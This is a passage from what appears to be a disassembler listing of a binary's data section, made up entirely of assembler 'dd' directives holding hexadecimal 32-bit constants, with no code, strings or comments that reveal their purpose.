		dd 67156442h, 42A07F05h, 0C65E2FD1h, 0BB0292FAh, 0CE8BEB5Fh
		dd 583F7461h, 4695870Fh, 59154BAAh, 2F2C74h, 95F263E9h
		dd 382C6CD1h, 8C045960h, 8B7F1F14h, 0FC8AD3C1h,	4212D696h
		dd 6A5B18F7h, 12F61BFCh, 0D63FA9DAh, 1BC8087Bh,	7ECD5012h
		dd 310A5238h, 0ADD535BDh, 0B5D0337Bh, 89700E0h,	5C6220F4h
		dd 9D142989h, 182C0CD9h, 1EDCF98Bh, 9B0B4F5Eh, 4537C030h
		dd 26BC8AC9h, 4D6CC8Ch,	540CE8FFh, 90C7006Eh, 914DA328h
		dd 826100E5h, 7BDB8187h, 102756A5h, 0B70D425Fh,	2A0E807Ch
		dd 0F7A1B970h, 0C9222C13h, 0DBD13C0h, 0ABB30790h, 6BFA8A50h
		dd 0AAB4D350h, 6FFE6A16h, 2AC5ADAh, 0E3C48301h,	2E71BD0Bh
		dd 959E5DD5h, 0D77B6789h, 407B4DADh, 0A91FF9FFh, 0C6C5F800h
		dd 0E6CB81D1h, 346C2540h, 990DCE6h, 242CB520h, 1EAFD1FFh
		dd 7B502D12h, 44A61497h, 0C916B37Dh, 4E88026Ah,	6F5D00ABh
		dd 544538CCh, 139D9029h, 133C81ABh, 0EB1BE8h, 272DCC52h
		dd 358E4A18h, 0EA01544Bh, 8A89B3BBh, 0A78776F6h, 23F5DCCCh
		dd 0CDB202D2h, 76E3207Bh, 2B908197h, 2E1279BDh,	6A4F1ACBh
		dd 2A839F1h, 85EA17D9h,	21938297h, 99E90218h, 20791CDDh
		dd 2CA05E28h, 7D9B1D2Dh, 12964BD8h, 0ADB50957h,	935F2C96h
		dd 2416D325h, 3637A50Fh, 16BD2D00h, 4B8F6245h, 3E8ACD2Fh
		dd 5DF030E6h, 0D012587h, 0EFACF9DAh, 0DA2E62B2h, 0C009482Fh
		dd 0E8BD1A0h, 996B1E76h, 41C61C56h, 0FD9D331Ch,	6ACF6427h
		dd 10E6FF4Ch, 9A4805C9h, 0C508945Ah, 40FFCBh, 0BEA763BBh
		dd 6DB19705h, 40581745h, 8A43C2B4h, 80E2FE3Dh, 0ECADF17Eh
		dd 2588C62Ah, 6240A56Ch, 0C095B096h, 1295F7C3h,	0B070E625h
		dd 7150E488h, 154B5DF5h, 102210B3h, 0E69B6071h,	0A77DB58Ch
		dd 80D7B961h, 0A4742D13h, 95320B7Fh, 5A4FCDh, 0BF51C8B6h
		dd 0FE430D04h, 32BB5F7Bh, 2E8B8730h, 0A50E1075h, 0F28C5E3Dh
		dd 6AAC030Eh, 0E8B3D6FDh, 58E8AED3h, 8E626C6Bh,	925D1209h
		dd 92AF0929h, 285B5C33h, 58A3BD7Bh, 1010C82Bh, 0A14B2ED1h
		dd 9DCCE61Ch, 0CC4ABF05h, 0FE854D26h, 340D57EEh, 4B54B8D4h
		dd 0BBDCA489h, 0C47E01F2h, 0A230DE7Ch, 0BB926EF4h, 91475EFEh
		dd 43B7061Fh, 0A60F60E9h, 0FFA0021h, 5455B386h,	0C03C56F9h
		dd 0CF4EA832h, 5F852495h, 1C98CEEh, 0D3759525h,	6F3391EFh
		dd 17A56AD6h, 2FE12h, 0E2A81EEFh, 596D099Bh, 793400CCh
		dd 0DF359B45h, 1B023B00h, 4819370Ah, 0E7B3B0D1h, 994BDD2Dh
		dd 0ADDEC4Ch, 7A577395h, 0F1C35FCh, 10BB2EC1h, 4AA5E1CDh
		dd 0B0B1EE79h, 8B0102DDh, 5A302FDFh, 9A424BBh, 23B92F61h
		dd 0F780E4A3h, 4B1FBCBCh, 200F5036h, 2B2D1181h,	0C9B36DC0h
		dd 0A60C1477h, 5ABA0520h, 0C0892A11h, 7DEB6B3h,	0FC852E4Bh
		dd 0C9A0D1F7h, 4A129B64h, 0F1E71A2Fh, 1F3016F2h, 823D4AFEh
		dd 0F8041AD1h, 1386EAEh, 295335B7h, 883FF05Bh, 0FC090705h
		dd 80DB6FE2h, 69DADD71h, 0CFB802B4h, 286AC9Ah, 1C93E1DDh
		dd 0E5A62Fh, 0A740732Ah, 48C5A962h, 0A85AC1BDh,	12BAB5FAh
		dd 0FA7E0Ah, 0E2A7C0D1h, 12ECD4F8h, 328D8323h, 9540E0CCh
		dd 640710DCh, 0BC268830h, 0F65B3232h, 3AD3EBEBh, 4573C50h
		dd 8BC6B49Fh, 0D634BCD8h, 0D5B8FABDh, 0D809D3F8h, 7917874Ah
		dd 0DE605931h, 7913D590h, 0A8871A03h, 809D7A02h, 1EBE039h
		dd 4FD8C861h, 2F5EF58Ch, 520054B3h, 6448D630h, 8E00B1E8h
		dd 414DD3F2h, 0B59D0161h, 812470D2h, 600953DFh,	44397935h
		dd 1A233FA0h, 661CD900h, 48889067h, 4D16EF86h, 98A6F91Ah
		dd 25CC4380h, 3BEE15A6h, 1353595h, 0FFDCC8C5h, 6DB2AE1h
		dd 4DCC7280h, 0C7263CB4h, 1F60BFF3h, 493489h, 0AF1A112Ah
		dd 6D82D79Bh, 3644E62Ch, 0EFFE4160h, 86D00014h,	0F4EE2E6Eh
		dd 9697565Fh, 453256Eh,	24F45F5Ch, 573B41Bh, 0AA4A7963h
		dd 31A4288h, 0CB2D885Dh
		dd 70F8C403h, 4C054F98h, 0AE1FC84Eh, 975BD5F4h,	25457D94h
		dd 5E396A30h, 865B2C13h, 4A20DC45h, 6B2341ADh, 21EEDCC5h
		dd 2FD98C65h, 1F3A206Eh, 41E29325h, 54DB75Fh, 84A96979h
		dd 223DB9B0h, 2C10977Bh, 0D672CC0Dh, 0A553F100h, 5EA66C33h
		dd 0DD6000E4h, 26A0F657h, 9A9564C4h, 7FCF6053h,	6BCA0FD5h
		dd 0F292DB80h, 646F4B34h, 0B2687800h, 94FFF415h, 2120A4B0h
		dd 0DF905C0Ah, 0C5F064C0h, 565A480Eh, 5160F5B0h, 212AC653h
		dd 5A906160h, 970EC042h, 2D103F16h, 3DD07481h, 0CB6F6A4Fh
		dd 15B7750Fh, 4E90CBC2h, 2F54EC62h, 6E8B5650h, 0D98EC8F9h
		dd 0BED449DBh, 2EA2F8Ch, 5BDC0282h, 1A4453E5h, 7A731095h
		dd 0BB8B004Ch, 0B26A7B1Fh, 0EF5B922Fh, 663F5EF2h, 0B7DF8938h
		dd 0F0C0A022h, 2E0825A1h, 85B65CEEh, 1DCE2D4h, 1C16A20Ah
		dd 0CE302755h, 0F4AD625Eh, 630CF4B8h, 0ECD07543h, 0E941123Dh
		dd 2375416Ah, 2F0C059Dh, 0CE3C239Dh, 63192F37h,	0C4B0119h
		dd 0F8302F8Dh, 256A9641h, 660914C6h, 1880E6BFh,	8857A3h
		dd 7FBA8FC7h, 9451354Dh, 8096BC39h, 0F64BD5Bh, 97F72340h
		dd 0EAB52FBAh, 0B96FF081h, 0B629BD23h, 0DE03511Dh, 0ADAFADC5h
		dd 0DB81F940h, 60258E87h, 5909F340h, 3AE181Bh, 646E9C20h
		dd 55C48A86h, 74502D91h, 100B6B4Eh, 0C6022F62h,	0F55CFEF6h
		dd 40D06DE9h, 5684DF4h,	0C9BD318h, 0DD81FA76h, 84D00F64h
		dd 0B8DEA952h, 0B4F84F27h, 12E49DA5h, 9BBC1697h, 0EB3D58F6h
		dd 29E8EC06h, 260B252h,	144ABF50h, 0E9D50275h, 316E8450h
		dd 21D351Fh, 0BEB24CFCh, 669930C8h, 0D53FEB81h,	3BBB822Ah
		dd 66180EE3h, 2E940004h, 6855AF74h, 600CD229h, 90AC2D3Bh
		dd 0B3A85A8Ah, 8D290BDDh, 0A505FEDDh, 56E9F9D1h, 5207D4D3h
		dd 3554C198h, 56662652h, 0AF4251DAh, 78B5FB60h,	3B1C6BC8h
		dd 6F273AE9h, 0DDD04067h, 1D97F707h, 0DB5C72CEh, 5D0AD13h
		dd 9D03699Dh, 850846C7h, 0CBBB81B2h, 8939F4D1h,	7C2DE932h
		dd 39A70C2h, 0D03FF397h, 0AC0B0232h, 0EA38684Eh, 32EF75D7h
		dd 64EF0E40h, 79010131h, 8B34C0C8h, 0E1C089FEh,	0E187F61Ch
		dd 0F275BD33h, 0ADCD5909h, 2E02C941h, 0AAACCD74h, 91F454DAh
		dd 72A69693h, 9E697402h, 9D7787Ch, 12116476h, 37E483h
		dd 51DEFF53h, 6D01770Fh, 7D7AE2C9h, 0E03AAE14h,	274AF505h
		dd 17C8609Bh, 2C0D0FC0h, 0AD109550h, 0CD008588h, 0D6586284h
		dd 9516EEE0h, 5BDA9660h, 50A31997h, 12883E70h, 0E6391F52h
		dd 83DB4B95h, 848F3183h, 0A9F29CE0h, 0E1A14AABh, 561CE40Bh
		dd 0F4D7CD0Bh, 8B8FD131h, 88DA8D01h, 7BB75F4Bh,	0A0C9F64Bh
		dd 174BD6Bh, 0C8E845B4h, 3C89A4E9h, 0D7B392FBh,	0B2C78009h
		dd 46D66B76h, 8CB0001Ah, 9E7F7560h, 25CB98BAh, 6AD93071h
		dd 2F555C25h, 571747C6h, 34EADA13h, 0AC7ACA5h, 5569B531h
		dd 194B783Bh, 60899D9Dh, 187604F5h, 14A0F6E9h, 0B84F6417h
		dd 3A33516Eh, 0C81C0DFh, 0D44CB249h, 8A32609Dh,	7D6182EBh
		dd 0F066792Bh, 3E79BBA1h, 27AC06C4h, 0A8DCB9A5h, 0CF840118h
		dd 0D9C421B6h, 17CFAC92h, 785125FCh, 0F8043653h, 9A4013E9h
		dd 6FE1C6D5h, 8BFE603Eh, 0F73784C0h, 0AB7128BAh, 4EE4EC00h
		dd 3CF6B0D0h, 68006B3Bh, 0E3BBE156h, 5F255463h,	59C0D35Bh
		dd 5AD4181Ch, 4167D9C4h, 2E280169h, 7941C18Eh, 0CB72E06Eh
		dd 89D252B7h, 4416FAC9h, 4612A526h, 15F10351h, 0E9BE5CD6h
		dd 0C600F264h, 85E9BBADh, 2F7F614h, 0D7381EEBh,	2B60EEB9h
		dd 6E144165h, 972C5B35h, 970460B0h, 5BBE244Eh, 0FC99A140h
		dd 25BCE28Ch, 85C5AC2Eh, 52763E11h, 0B712E18Eh,	4E70E768h
		dd 3A8047DAh, 77075D93h, 0A9ABF568h, 817560A5h,	329C09EFh
		dd 73713B37h, 0DD315763h, 6320D3C9h, 68E92DDEh,	0CD9F97D0h
		dd 0BF07C011h, 0A2599AE0h, 13D1115Bh, 60ECC12Eh, 0B5A4BAD2h
		dd 925FF400h, 0A913BC3Fh, 4A9D0B54h, 8A333A11h,	33ECC602h
		dd 5C5B45AEh, 43B3609Dh, 0BF126690h, 49AF2183h,	0E4F93240h
		dd 8FA70B2Dh, 0E374D33h, 0D558882Eh, 4B00A0F4h,	8424ECE7h
		dd 4E4AAA9Bh, 0B9E2C638h, 6D8C70C4h, 959E81EEh,	4DC86A25h
		dd 7881B305h, 0D285D91h, 8919B882h, 906DE1BDh, 0B041C5A4h
		dd 1C36BFC6h, 0D1D60B7Fh, 2D8A4D9Bh, 1A4109C5h,	0FC135Eh
		dd 0F9F49F97h, 7C14DBB6h, 0D8D8A8C9h, 0FAFBB779h, 13ACB78h
		dd 0E07CE6D5h, 2EE714D4h, 19235D6Bh, 6A990703h,	40A9AA38h
		dd 9564720Fh, 989B35EEh, 60A9B58h, 31CEE6B7h, 9109584Bh
		dd 98D1FF23h, 28F7C06h,	76D9B019h, 7F5C0FDCh, 0DE3E6C51h
		dd 0B30FC2C2h, 0E2FEC360h, 3EA15A1Ah, 618C5BDFh, 0A698026Ah
		dd 4046FA95h, 64955009h, 5E4B075Dh, 0E3E40D37h,	5AF0E101h
		dd 0A625B43Fh, 0FCE38516h, 1B338E99h, 0B38E203h, 7ED82E76h
		dd 3525AD70h, 2D3C0731h, 0E95B02D8h, 6E5C0C24h,	836D9658h
		dd 51F3B21Dh, 47E3FC12h, 4BBFBB01h, 0D8905624h,	978F531h
		dd 278E71B7h, 84AA0AF8h, 180B6DE4h, 7429D9CDh, 0C55CE94Dh
		dd 5911FB40h, 0E40301ABh, 0C93890B7h, 2C122EC7h, 18F97EAAh
		dd 1FE4D02h, 0BF7B9516h, 4BB6684h, 0A00C2A3h, 9DEADF9Eh
		dd 909FFF6Ah, 16FBA8D7h, 0BAF7D963h, 0E4053A34h, 4794765Ch
		dd 0EE0A84BFh, 0E101C36Fh, 0F89E4D5Eh, 8B01D860h, 6E98FB4Bh
		dd 0AEED8B27h, 0E0B0A8C8h, 95292550h, 5B4BD5F2h, 528E5E82h
		dd 8960250Ah, 574154D6h, 0D93A615Ah, 0BD730058h, 1A3FF641h
		dd 14C91D0Eh, 33C6D440h, 0C709D59Dh, 6C71E45Fh,	53800450h
		dd 4D2EF7F5h, 2B4BD58Bh, 0C2AC6A13h, 6741725h, 0C124D8E7h
		dd 33320CF3h, 0CB901352h, 197D30Bh, 23DB8058h, 8155002Eh
		dd 5C1D9EC3h, 14B73140h, 80D18B12h, 0EB2F0913h,	4B897162h
		dd 2E164C5Dh, 3EA58C05h, 0ADE9810Bh, 0D7EC2D1Fh, 0D1AD731Eh
		dd 2D1C2873h, 73D11A85h, 1C000891h, 0EAAD8F50h,	205F3243h
		dd 7D0F88h, 5E7589EEh, 90532639h, 72925F4Bh, 136A711h
		dd 65ADC919h, 34E9798Ah, 10574B93h, 25B5017Bh, 64CC2F1Dh
		dd 0C5601F45h, 0A0A5F8D9h, 681FE18h, 62DCE6D3h,	78806C1Bh
		dd 0D4B829B3h, 1250B095h, 2A1083E7h, 0E25826BDh, 6AA33933h
		dd 5499EE85h, 6DB5E06Eh, 3BD5BC12h, 8A0737E3h, 6BACB9DAh
		dd 98D07B7Bh, 0B8DC0259h, 60BF7D27h, 8CA0EA59h,	0A61E2920h
		dd 6CDF12DCh, 0FBC016B2h, 0DF821875h, 0FC9D910Ah, 7F3E6E6Ah
		dd 49B56690h, 0DB3BFC0Bh, 0BBEA8032h, 0E1B8FB9Ch, 0F5199C6Fh
		dd 13007EF8h, 680CE233h, 19DDD76h, 0CF886F59h, 88BF9E6Ah
		dd 1230A9CEh, 4D99E25Fh, 152D1637h, 120032E6h, 0B7C94821h
		dd 950A4DDFh, 0ED9CEFB6h, 90D1908h, 97716159h, 218D01E0h
		dd 0B7BD950Eh, 3DE2C712h, 51CDB709h, 1C710A73h,	0CE004318h
		dd 0B3EDE664h, 0A010DA6Ah, 822DDD8Ch, 9146B555h, 0CCB48017h
		dd 4BB3D04Fh, 0D3118A06h, 4A2A5EF0h, 2DDECA11h,	806BBD8Bh
		dd 0D31268D8h, 0E31CFEEDh, 0FB2FB860h, 0D9E7D876h, 6177631Fh
		dd 0F903AE02h, 40645D0Bh, 0A750CC4h, 0F83E70AEh, 0B7BDE1FFh
		dd 0EDF0085h, 0E963D742h, 9400544h, 0DBA8C64Ah,	5D46C959h
		dd 7510BD61h, 0C7008DA9h, 44985FFAh, 3DBADA34h,	0F0BBC89Ch
		dd 76CB8089h, 5366A559h, 0DCD1B64Bh, 65765225h,	2F308BCh
		dd 73024426h, 0D77B4E3Eh, 34E29E4Dh, 2ED356B1h,	301DDCCAh
		dd 8F8156C6h, 842C013Ah
		dd 9A8C02Eh, 1941A98Dh,	0C8E2172Ah, 4C031C17h, 0B010A805h
		dd 0E4F5B8B6h, 6CF200B1h, 0ED8028B7h, 924AC2DDh, 12EEDBD7h
		dd 4D218B9h, 0AB12B91Fh, 8D29F370h, 880B5E7Dh, 924ABEEFh
		dd 0BD85571Fh, 2DF40D6Dh, 0A7214169h, 9884D0FAh, 303920E1h
		dd 8ACE6800h, 5250B8C6h, 61601257h, 0BF2F805Bh,	5A1B40EAh
		dd 0D35A8158h, 0F847B179h, 0BD11742Bh, 0B8DA8F4h, 890F546Ah
		dd 2951F30h, 91374EB7h,	0B4E680DBh, 6347FA1Fh, 0F8AD4507h
		dd 0ED602F89h, 2983F4Eh, 9D03A024h, 0BE523111h,	2201802Fh
		dd 0DD1B7124h, 14913437h, 7280D48Bh, 2D593178h,	0C127B295h
		dd 742B32C3h, 5984FE27h, 5B5F0D09h, 0A6F6AD12h,	0FB6300D6h
		dd 6CA93B9Ch, 9AA231D4h, 5C258254h, 0BD23E127h,	807DAF15h
		dd 0F5D3BBEBh, 550E042h, 0E46DA3BFh, 79F2A126h,	92CBC13h
		dd 15E3498Fh, 5E270759h, 4A02DE23h, 4138D80Bh, 208EF8ABh
		dd 0B1001DB9h, 90686191h, 43C761Fh, 0EFE26EBBh,	0F17AC63h
		dd 92691C6Fh, 85ABEA3h,	810E17E6h, 0C6CA82D7h, 0DEC554Bh
		dd 2499D10h, 0BF3B424Eh, 0EC7D2F55h, 5EB3AA4Dh,	210CDCD7h
		dd 5A534DD0h, 5FF73297h, 2BD8A19Ah, 91BCB595h, 46368914h
		dd 0EC314BF4h, 26189DBh, 551611FBh, 5309D21Eh, 515FA0B7h
		dd 232E461Fh, 949CBF05h, 84FE496Ch, 1D9EEB6Bh, 1B767E80h
		dd 3109281Eh, 51A7459Dh, 0E02FD7D3h, 0BB018213h, 7FB478A7h
		dd 0C378701h, 7C2E4C2Fh, 4AB60520h, 22F28A9Eh, 98C885E5h
		dd 0D98B1BD8h, 0BDC1CDB6h, 752A01EDh, 2D266F96h, 598E73B7h
		dd 12BE1816h, 0A3F9A3F7h, 0E3A240CBh, 5DB1FC2Ch, 0A9101C89h
		dd 0DCD87C3Ch, 6075530Eh, 0E817C084h, 0A5F799AAh, 1DCD0B8Bh
		dd 0D35A215Eh, 57EF5055h, 2B64D802h, 5520799Dh,	9E930D96h
		dd 2C9D058h, 5F54232Fh,	76765260h, 0C28B57CBh, 1BA0A9E6h
		dd 0B95722Ah, 0F6345683h, 8795A404h, 16B7402Dh,	89B2DA5Bh
		dd 0BEF1C631h, 0A21D1270h, 0B2884AA0h, 39CE017Eh, 0C75E1BB6h
		dd 57A8C7B5h, 4F096674h, 50142B4Ah, 0B44D95A4h,	543E65C2h
		dd 0AFE46BB5h, 78CD7BBDh, 565A0746h, 1E29BBA8h,	3F022C91h
		dd 6FCF25FEh, 1864694Dh, 30E2A061h, 894F7D4Fh, 3C4CBDA2h
		dd 0BE4EF92Fh, 50C3F395h, 0A2130F56h, 9EC83EE9h, 8B3003FDh
		dd 0BF54DBFh, 0B350CDB8h, 4EC72049h, 0C14DBF20h, 0ED960437h
		dd 0B83DAB63h, 22020D6h, 0DE52BF5Fh, 82B26E7Ch,	390001D9h
		dd 75F29051h, 6B622E89h, 2C850891h, 25AA9B2Fh, 8345FEEAh
		dd 7BEE4212h, 760E25F9h, 5D49090Eh, 0D4A7B171h,	8F1B40A3h
		dd 0B058F8CEh, 0CB03229Eh, 7276FA8Eh, 139BD04h,	23976FAEh
		dd 6E400318h, 30E5F380h, 0EFDD2C4h, 7824B005h, 8EEC1444h
		dd 0DE45B525h, 503EB620h, 0ADB392D4h, 947638BBh, 7E7DB93Eh
		dd 33BBDF00h, 6B6FB2AAh, 56730920h, 0DB522ACAh,	0D073F397h
		dd 0EE1F6416h, 5C4F2912h, 51F9294Bh, 0E77445F3h, 2BD0B1EDh
		dd 4A4A1060h, 7B0CCD42h, 8E598120h, 287200CAh, 5ACF78F5h
		dd 4092F94h, 5044698Ah,	3E3797F9h, 6DF8803Dh, 1229A894h
		dd 0A38C4F2Ah, 0DB884FE9h, 3FD402F9h, 0CB93A8CEh, 1582956h
		dd 59931B5h, 6AF48839h,	0F99DB5C1h, 36F412C2h, 0F3AFA241h
		dd 0DBA330h, 710FFBC4h,	7CA11C22h, 98180509h, 0E9965467h
		dd 554976CDh, 14F8A000h, 0CA2DE13Bh, 1EA96450h,	3CC75Fh
		dd 0EBC2CC59h, 0A61C0E3Bh, 0E100B598h, 55DF4FA1h, 5ACEA3D8h
		dd 7AAAA1CAh, 0DFC9EE9Bh, 9ED02DDh, 0C4688B12h,	0FF5F00B1h
		dd 0F2AE769h, 0FCEC5236h, 5BD67C12h, 0CFA0DAA7h, 6B737C9Fh
		dd 28397800h, 559D3351h, 0BBCD960Ah, 401A0590h,	7B27EBB5h
		dd 0D5D9820Bh, 4D765631h, 8A922B2Ah, 10B4650h, 637ECBD2h
		dd 57564EB2h, 7D95318Fh, 6DBC2A2Eh, 309517F8h, 584F87E4h
		dd 0C22B4E5h, 9FBCE695h, 0B7F85FC6h, 0DB6AFE2Fh, 37187859h
		dd 4D6175Ch, 0E6D0ABBh,	0E95B44ACh, 1205EC07h, 0B7E27FE9h
		dd 0AC0F493Eh, 0BD27D75h, 562D93F3h, 0AFD1C005h, 8A1D346Eh
		dd 8E95017Ah, 2BDB09CEh, 897A5128h, 0B1FAF623h,	41026A25h
		dd 90022475h, 0A50079C6h, 0EC3D4573h, 0B0C402DAh, 0B9D75EABh
		dd 728BC45h, 0B436D9F0h, 6599F72Fh, 1120BE9Dh, 122EB038h
		dd 0B04D7B18h, 604AAD7Dh, 1AA05FCh, 7EF96CDCh, 382B62E9h
		dd 8C90F55Fh, 7912739Fh, 41A938B8h, 6A1CE1A2h, 4C4D63CBh
		dd 31F07BADh, 27560B66h, 4F8040FBh, 3DAF35CBh, 0CC27BBB0h
		dd 136450h, 0F566CA3Ah,	144EE076h, 0C684A100h, 0F6E873B2h
		dd 42AA1263h, 0B6E052DBh, 99EBE591h, 0C8252A7Bh, 9407ABAh
		dd 59880F2Fh, 61AC3837h, 20311F32h, 85C83BEFh, 815501CEh
		dd 4815FEC7h, 0F1672B5Fh, 0D920CBD0h, 0CC774A0Ah, 957131D4h
		dd 0CBBE4DB4h, 9709FD6Eh, 48030EBEh, 6592D96Dh,	487F57E2h
		dd 27BD89ABh, 0B55C1D7Dh, 0BF100A51h, 4A1C1F71h, 0CA26B03Bh
		dd 0E6170390h, 8C7F670h, 252D6DB5h, 850C305Ch, 25805179h
		dd 9869C5F7h, 32EC15DCh, 164BF80h, 0BB016C36h, 97AA260Eh
		dd 98ECF812h, 0EA653113h, 232AD7Ah, 47B5565Bh, 29E18895h
		dd 0EA63B19Dh, 0C0FB4A72h, 0C5BD33ABh, 0C41B126Eh, 61AB1FF1h
		dd 0C291509h, 2DE9219Dh, 0B1BD7925h, 2A048D1Ch,	3D48C0F6h
		dd 90D43CC0h, 0C11710FFh, 9C0C399Ch, 0D2094DBDh, 2C30AE0Ah
		dd 4A6CBF66h, 0BD0FB422h, 5904252Dh, 4E3CA05Ah,	0F9D9D2E9h
		dd 95B546F5h, 12E69009h, 50F35A9Dh, 0C4FE12A5h,	272D5Ah
		dd 9344C381h, 1578950Fh, 1FB69ED3h, 0E2962200h,	0EDBA55D1h
		dd 9FD83F4Ah, 31F0408Fh, 780DFDEFh, 59F8C96Dh, 0BD31858Eh
		dd 0B9D346E5h, 0D3BF6074h, 274C7888h, 0F6034127h, 697D209Ah
		dd 96BC2FCh, 0B8F6BDBDh, 6ED73027h, 0DC8AFBC0h,	0CEA7B84Ah
		dd 0A501E5E0h, 60AAC90Eh, 68CD12BAh, 53F3D2Ah, 0C52E089Eh
		dd 802ED1A5h, 4ACC41F3h, 3E0263AAh, 0E4F2B9D3h,	0A0915D33h
		dd 84E33A5Bh, 0CCDFB713h, 29535126h, 665B259Ch,	0BF57031Ah
		dd 2FCFB450h, 1B56C0ECh, 5C4E4F7Bh, 26BD45B8h, 57BDB2A1h
		dd 0AB11C204h, 4C2D988Eh, 0B280AF7Bh, 0A72CEA8Ch, 88E5002Eh
		dd 0CF176445h, 0D7A63423h, 0FBE63ABFh, 0B5825053h, 7C68BB2h
		dd 4C0AE1FFh, 192A98D8h, 51E4BE9Ah, 0E1DE3F56h,	0A8F93AC4h
		dd 5F47A2E9h, 4E60406Fh, 12878A62h, 0A2A174D8h,	51E28DEEh
		dd 491DC502h, 6E6B6023h, 56BD5A2Eh, 0AA513285h,	122CEC08h
		dd 66FCA15Bh, 162FF028h, 3DD40287h, 64FBCB25h, 0A7F56641h
		dd 89E8545Dh, 0E352DFBFh, 98014820h, 0B7024451h, 0CFDDA65Eh
		dd 2FB0C966h, 0ED4ACF01h, 0C13B04CDh, 3089D1E7h, 61801A87h
		dd 0BA18C390h, 51A8A2E2h, 0D57CB05Bh, 0D3972FFBh, 98D2BB1h
		dd 4A0F8F34h, 0C970AE8Ch, 0BD4F3FDBh, 32056A50h, 0DAB2779Eh
		dd 8E07CEE8h, 322D3394h, 3DFD61E8h, 677C0033h, 5751F656h
		dd 35CC5A1Ch, 0AD080AE4h, 0F7810009h, 41AFAEA2h, 0DE496804h
		dd 8E84FB53h, 0B62849A8h, 8DC281CCh, 0ED179266h, 20A9DD2Eh
		dd 1112AA2Fh, 11044525h, 9BAB1BF9h, 0C414C86Dh,	8052AC34h
		dd 13D27A89h, 55770067h, 0C4CB9080h, 2F0435EBh,	14BF9C9Fh
		dd 0FF5306EAh, 0B52E5A63h, 0E9841B99h, 99F701D7h, 33A764A0h
		dd 2D3F59B7h, 4A38A3F4h, 6A5A7ACBh, 0A8B44F21h,	17D89CC5h
		dd 5AA5F713h, 4C89909Bh, 10A79459h, 3A9E81EFh, 97008584h
		dd 0EA3414B3h, 6E176704h
		dd 0B2F6C73Dh, 0B43019B2h, 0D91817ACh, 845138Eh, 0D780097Ah
		dd 0A1C1CFA5h, 80B80EAFh, 0F66260DDh, 647F01AEh, 5B6124D5h
		dd 25BBC0EBh, 504A0473h, 2DBB1C4h, 9DBA6C4h, 0BD1323FEh
		dd 34521705h, 0B2B2F624h, 34BD301Bh, 5E6A9D3Eh,	0B685BE0h
		dd 6B8FC08Dh, 7287B8F9h, 58A990C3h, 77EFBF8Fh, 5A20756Bh
		dd 19834F15h, 0E8E38101h, 503B8580h, 0C2049830h, 5F565231h
		dd 91D01FF7h, 0E6ED8B14h, 95311340h, 6AB0E1F5h,	19C8C59Ah
		dd 1A20FCC0h, 2C302E88h, 49C14497h, 0C0B1ED61h,	0BFBCDD8Fh
		dd 45AC6C0Bh, 0E9D1F921h, 70435D7h, 59250A71h, 0EB9556F0h
		dd 9D23B842h, 1D3F96B5h, 162D4D09h, 3456C6C3h, 9559653h
		dd 0D290BF66h, 81BB1057h, 215C79CFh, 0A6D7414Ch, 772A606Ch
		dd 1300229Eh, 2C0B5EF7h, 5B6CD6h, 0C7178C55h, 33C13124h
		dd 9B618AB6h, 91F9BA47h, 5AB73Fh, 1E82AE8Dh, 9D5DBB31h
		dd 0AC5F9F04h, 2BB0A2E7h, 0F700F544h, 0C50D9EC8h, 175899h
		dd 13445563h, 8247F391h, 0CAAC7D29h, 0EF038C62h, 980A60CCh
		dd 0DA00BD09h, 8ABF11C9h, 0BE3532A6h, 9D316025h, 3A970349h
		dd 904623h, 15CC3AB0h, 0F26B31EEh, 27404E5Ch, 250B514Dh
		dd 0C6E11C6Fh, 342EF5ECh, 0E11D801Bh, 2212EF9Fh, 15F85096h
		dd 533AB1C0h, 997A2CA4h, 91106F00h, 5E6EB632h, 0BD51293Ch
		dd 876281BBh, 0D048BF20h, 0D011EE6h, 183CD745h,	0AEF09649h
		dd 0B25E0F1Ch, 0E9136184h, 33B80Bh, 0D4881E7Bh,	0DD96673Ch
		dd 254E1798h, 19FCBE17h, 647C09AAh, 0E4ECh, 738A96DAh
		dd 0E721EB20h, 0A47ED204h, 78B907A9h, 0F96AFFD3h, 73E2D800h
		dd 798EC618h, 38F90F71h, 0B74ADE7Bh, 7BADF9DEh,	34EED80Bh
		dd 986D7401h, 30A98D29h, 139EE72Ah, 87C5B260h, 25C828ABh
		dd 12DE8E00h, 7DFB6239h, 9C71602Bh, 7C0C16D2h, 1D4B4609h
		dd 27987161h, 9DE45D6h,	1585200Dh, 45A671C6h, 45E1FC00h
		dd 5B63BF3h, 6C1500FAh,	0ABB33CA0h, 2135C2Dh, 1004D98Ah
		dd 78B604C2h, 41543DE0h, 606B2F05h, 1DFB481Ah, 90BF6078h
		dd 950A213Fh, 8998394Eh, 2B15B134h, 5417D909h, 690FE73Fh
		dd 6760CEF6h, 5A9D0933h, 4F69F9D9h, 7BC088DBh, 0BDB95495h
		dd 0FD288A1Fh, 990935E6h, 958B1420h, 0FFDC88C3h, 3DF0CE29h
		dd 8B79822Ch, 470194ACh, 505539A2h, 427E9E71h, 2DD8D8Dh
		dd 3B999514h, 29026B51h, 5C5F7646h, 1511513Fh, 4DFEC6EAh
		dd 3302C8B1h, 550149BDh, 0F828E345h, 6E23B125h,	4E0176E0h
		dd 0E6E412D1h, 321AB219h, 2A0188E6h, 0A5F9F781h, 0EE6042B1h
		dd 0CA315F45h, 1F6840D2h, 80A2200h, 4817B7F1h, 41C1006Fh
		dd 18C82192h, 9495EC05h, 3A3069E8h, 9FADB77Fh, 72208218h
		dd 20E0AEB6h, 5E25057Dh, 95EE667Ch, 0A451DA09h,	5508E668h
		dd 3B6B2C27h, 5CB0F5AAh, 17209B2Bh, 0A2E96112h,	0E4F9B2B4h
		dd 8186A0C1h, 435B9D17h, 29244ADh, 0EE8BF1B4h, 0E4F5908Fh
		dd 0EAA53D28h, 0E55E0981h, 0E086C438h, 0EC7B0A6Eh, 0E65BDA25h
		dd 1D202527h, 1F0781D5h, 0B37FB162h, 8A7300C6h,	5C3D758Eh
		dd 2EC109B2h, 36CD905Fh, 0BB6643C0h, 6AF527B3h,	0F4E0BFCDh
		dd 0F71AD74h, 9B6688F0h, 787BFE0h, 56D30976h, 0B789509Bh
		dd 865951E2h, 94C68E00h, 9D1B4Bh, 0CE9EEB77h, 85EE6119h
		dd 1C1FD37Fh, 0CFAC012Dh, 42CAFE27h, 251F8AA1h,	0C502FEECh
		dd 519D0BCBh, 4B35552Dh, 0E0801C11h, 53A1B12h, 15707609h
		dd 18304AAh, 5090FC42h,	9D5CC655h, 3F3FA173h, 0E9900CB7h
		dd 0E82110h, 0D993365Eh, 0ADB63307h, 54412B01h,	631EA4B5h
